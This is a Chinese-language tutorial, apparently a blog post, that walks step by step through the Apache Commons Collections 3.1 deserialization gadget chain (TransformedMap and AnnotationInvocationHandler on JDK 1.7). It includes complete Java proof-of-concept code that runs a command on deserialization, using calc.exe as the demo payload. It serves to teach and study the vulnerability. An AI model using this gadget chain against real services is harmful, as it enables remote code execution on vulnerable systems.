Java序列化与反序列化(二)——Apache-CommonsCollections3.1反序列化RCE
先来看一个简单的反射案例,可以执行计算机命令
package reflection; import java.lang.reflect.Method; public class Exec { public static void main(String[] arge) throws Exception{ Class cls = Class.forName("java.lang.Runtime"); Method getruntime = cls.getMethod("getRuntime", null); Object runtime = getruntime.invoke(null); Method exec = cls.getMethod("exec", String.class); exec.invoke(runtime, "calc"); } }
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
Java开发过程中常使用一些公共库。Apache Commons Collections提供了很多强有力的数据结构类型并且实现了各种集合工具类
2.1 Transformer接口
打开org.apache.commons.collections.Transformer类,可以看到源码中对该类的解释是从一个对象变为另一个对象。
package org.apache.commons.collections; public interface Transformer { Object transform(Object paramObject); }
下面我们来使用例子解释一下这个类的作用:
Transformer.java
package reflection; public interface Transformer { Object transform(Object paramObject); public static void TransformerTest() { Transformer transformer = new Transformer() { @Override public Object transform(Object input) { System.out.println(input.getClass()); return null; } }; transformer.transform(Runtime.class); } }
TransformerTest.java
package reflection; public class TransformerTest { public static void main(String[] args){ Transformer.TransformerTest(); } }
当输入Runtime.class时输出了类的类型
运行结果
class java.lang.Class
我们要进行对象转变的时候,对应的操作应该在transform方法中。
Ctrl+H 查找实现了Transformer接口的类,重点关注以下几个类ConstantTransformer,InvokerTransformer,ChainedTransformer。我们通过分析这几个类来构造payload
2.2 ConstantTransformer
该类使用了transformer的接口,重写了transformer的方法
transformer返回了iConstant变量,而这个变量在ConstantTransformer方法中被赋值。我们使用这个方法看下做用。
在return iConstant处设置断点,运行程序查看返回值,发现治理返回的是Runtime.class
2.3 InvokerTransformer
查看源码是通过反射创建一个新的对象。
来到InvokerTransformer的transform方法:
明显看到是通过反射的方式来调用对象的方法,还有几个变量
iMethodName
iParamTypes
iArgs
这几个变量是通过这个构造函数传入的。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
利用构造函数传入值,调用transform方法
查看InvokerTransformer源码找到iParamTypes为Class[]集合,iArgs为Obeject[]集合
private final Class[] iParamTypes; private final Object[] iArgs;
再查看getMethod源码得知getMethod要传入二个参数,类型为String,Class[]
同理invoke也要传入两个参数Object,Object[]
构造出方法并执行
package reflection; import java.lang.reflect.InvocationTargetException; public class InvokerTransformerTest { public static void InvokerTransformer(){ InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}); System.out.println(invokerTransformer.transform(Runtime.class)); } public static void main(String[] args){ InvokerTransformer(); } }
可以看到这里反射出了Runtime.getRuntime()的方法,而我们要构造出Runtime.getRuntime().exec();这里再介绍一个类ChainedTransformer
2.4 ChainedTransformer
public Object transform(Object object) { for (int i = 0; i < this.iTransformers.length; i++) { object = this.iTransformers[i].transform(object); } return object; }
利用ChainedTransformer反射链构造POC的步骤
public class InvokerTransformerTest { public static void InvokerTransformer(){ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform('1'); } }
接下来寻找下调用了或者可以间接调用ChainedTransformer.transform的类,其中有两个类LazyMap、TransformedMap。本篇文章就来讲TransformedMap链
2.5TransformedMap链
在TransformedMap中,有三处使用了transform方法,transformKey,transformValue,checkSetValue
protected Object transformKey(Object object) { if (this.keyTransformer == null) { return object; } return this.keyTransformer.transform(object); }
protected Object transformValue(Object object) { if (this.valueTransformer == null) { return object; } return this.valueTransformer.transform(object); }
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
这三处如果能传入值ChainedTransformer,就能调用ChainedTransformer.transform。前提是符合类型
我们先看下keyTransformer,valueTransformer的类型
protected final Transformer keyTransformer; protected final Transformer valueTransformer;
看到为Transformer类型,可以传入ChainedTransformer,利用TransformedMap的三个方法transformKey、transformValue、checkSetValue触发ChainedTransformer#transform方法,但这几个方法都是protected权限,无法被外界访问。
怎样可以调用这三个方法呢
可以通过内部类进行调用,寻找下权限为public的函数
重点看下decorate方法传入了keyTransformer,valueTransformer的值
put方法依次调用了transformKey,transformValue方法,而这两个方法又调用了transform方法
我们可以通过实例化一个TransforomedMap对象,调用decorate方法传入keyTransformer,valueTransformer的值,利用对象的put方法执行transformKey、transformValue方法,从而执行任意命令
public class PocTest { public static void main(String[] args) { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers_exec); HashMap hashMap = new HashMap(); Map decorate = TransformedMap.decorate(hashMap,null,chainedTransformer); decorate.put("xxx","xxx"); } }
现在我们能触发transform了,但是要找一个类,可以利用反序列化自动触发类似的操作,必须满足以下条件:
TransformedMap#transformKey
TransformedMap#transformValue
TransformedMap#checkSetValue
这里我们选择调用了checkSetValue方法
2.6 AnnotationInvocationHandler类
此类是sun.reflect.annotation包下
在java 8u71以后,官方修改了AnnotationInvocationHandler#readObject,故无法采用此类触发漏洞
下面是JDK1.7得AnnotationInvocationHandler#readObject
这里重写了readObject方法,并对Map类型的属性的entry进行了setValue操作
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
这个checkSetValue方法其实是覆盖重写了其父类AbstractInputCheckedMapDecorator的checkSetValue方法,在父类方法中有对checkSetValue方法的解释,调用一次setValue方法就会调用到checkSetValue方法进行值得检查。
所以TransformedMap里的entry在调用setValue方法时,会调用到checkSetValue方法进行检查值。
TransformedMap的entry是怎么来的
我们知道Map的Entry对象由Map.entrySet()产生,所以TransformedMap的Entry对象是TransformedMap.entrySet()
我们来看看TransformedMap.entrySet()的调用
TransformedMap类本身是没有entrySet()方法的,它是继承了AbstractInputCheckedMapDecorator类的entrySet方法
return返回值是一个EnterSet对象
跟进EnterSet,发现是一个还在AbstractInputCheckedMapDecorator类中,EntrySet是一个AbstractInputCheckedMapDecorator的静态内部类
到最后调用到.next()后,此处TransformedMap.entrySet()返回的类型就变成了AbstractInputCheckedMapDecorator$MapEntry类型。
因此得到这样的代码
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通过迭代器获取第一组值 entry.setValue(Object.class);
此时的entry变量就变成了AbstractInputCheckedMapDecorator$MapEntry类型
而示例中,entry.setValue()调用的就是AbstractInputCheckedMapDecorator$MapEntry中的setValue方法
这里的setValue中又调用了checkSetValue方法。
parent怎么传入呢,当进行到map.entrySet()方法的时候,TransformedMap传进了EntrySet的构造方法的参数中,this即代表这个类。
下一步EntrySet构造方法进行了this.parent = parent的赋值
demo:
package org.apache.commons.collections; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class myTransformedMap { public static void main(String[] args){ ChainedTransformer chained = null; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})}; chained = new ChainedTransformer(transformers); Map m = new HashMap(); Map map = TransformedMap.decorate(m,null,chained); Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通过迭代器获取第一组值 entry.setValue(Object.class); // 参数不重要 } }
此处 Map.Entry entry的类型变成了AbstractInputCheckedMapDecorator$MapEntry类型
AnnotationInvocationHandler的利用(JDK1.7)
看AnnotationInvocationHandler#readObject方法中调用了var5.setValue
要是var5的值为TransformedMap的entry对象,那么就能触发TransformedMap#checkSetValue方法了。
往上几行看到,var5其实为this.memberValues中的其中一个entry,这里可能不太理解,所以我们把这两行连起来看
var5 = (Entry)this.memberValues.entrySet().iterator().next();
所以,只要把this.memberValues值设置为TransformerdMap,就可以通过TransformerdMap.entrySet().iterator().next()拿到一个TransformerdMap得entry,通过拿到得entry.setValue就可以触发TransformerdMap得checkSetValue检查,而执行到transform
要想执行到var5.setValue,前置条件是满足if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))
var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type为构造函数中的第一个值var1
在这里var1首先要继承Annotation,而Annotation是所有注解类默认继承的接口,我找到了两个符合条件得注解类
java.lang.annotation.Target和java.lang.annotation.Retention
构造POC:
package com.yyhuni; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class PocTest { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); innerMap.put("value","asdf"); Map outerMap = TransformedMap.decorate(innerMap,null,chain); // 通过反射机制实例化AnnotationInvocationHandler Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(ins); oos.flush(); oos.close(); // 本地模拟反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
1.innerMap.put("value","asdf");的Key一定要为value,不然无法利用
AnnotationInvocationHandler构造函数第一个参数是Annotation的子类,且其中必须含有至少一个方法。
Key的值就是那个Annotation子类中的方法名称value
2.AnnotationInvocationHandler类要用反射来创建
AnnotationInvocationHandler类的修饰限定符是default,意思是包访问权限,默认只有同一个包才可以使用。
2.7 总结的利用链
1.为什么不直接通过构造Runtime.getRuntime().exec(),而是通过反射构造((Runtime) Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe");
Runtime
没有继承 Serializable
接口,我们无法将其进行序列化。
而通过Runtime.class变成Class对象后,Class就继承了Serializable。
以下为Class对象,继承了Serializable
所以先通过先构造Runtime对象:Runtime.class.getMethod("getRuntime").invoke("null")
返回的就是Runtime()对
再用Runtime对象.exec执行命令,得出完整的payload就为:
Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe")
2.这里invoke("null")的值为什么null
如果method.invoke中的method为静态方法,那么可以用null或者用类class来代替
InvocationTargetException 对带有指定参数的指定对象调用由此Method对象表示底层方法,如果底层方法是静态的,那么么可以忽略指定的obj参数。该参数可以为null。
而Runtime.getRuntime中的getRuntime是静态方法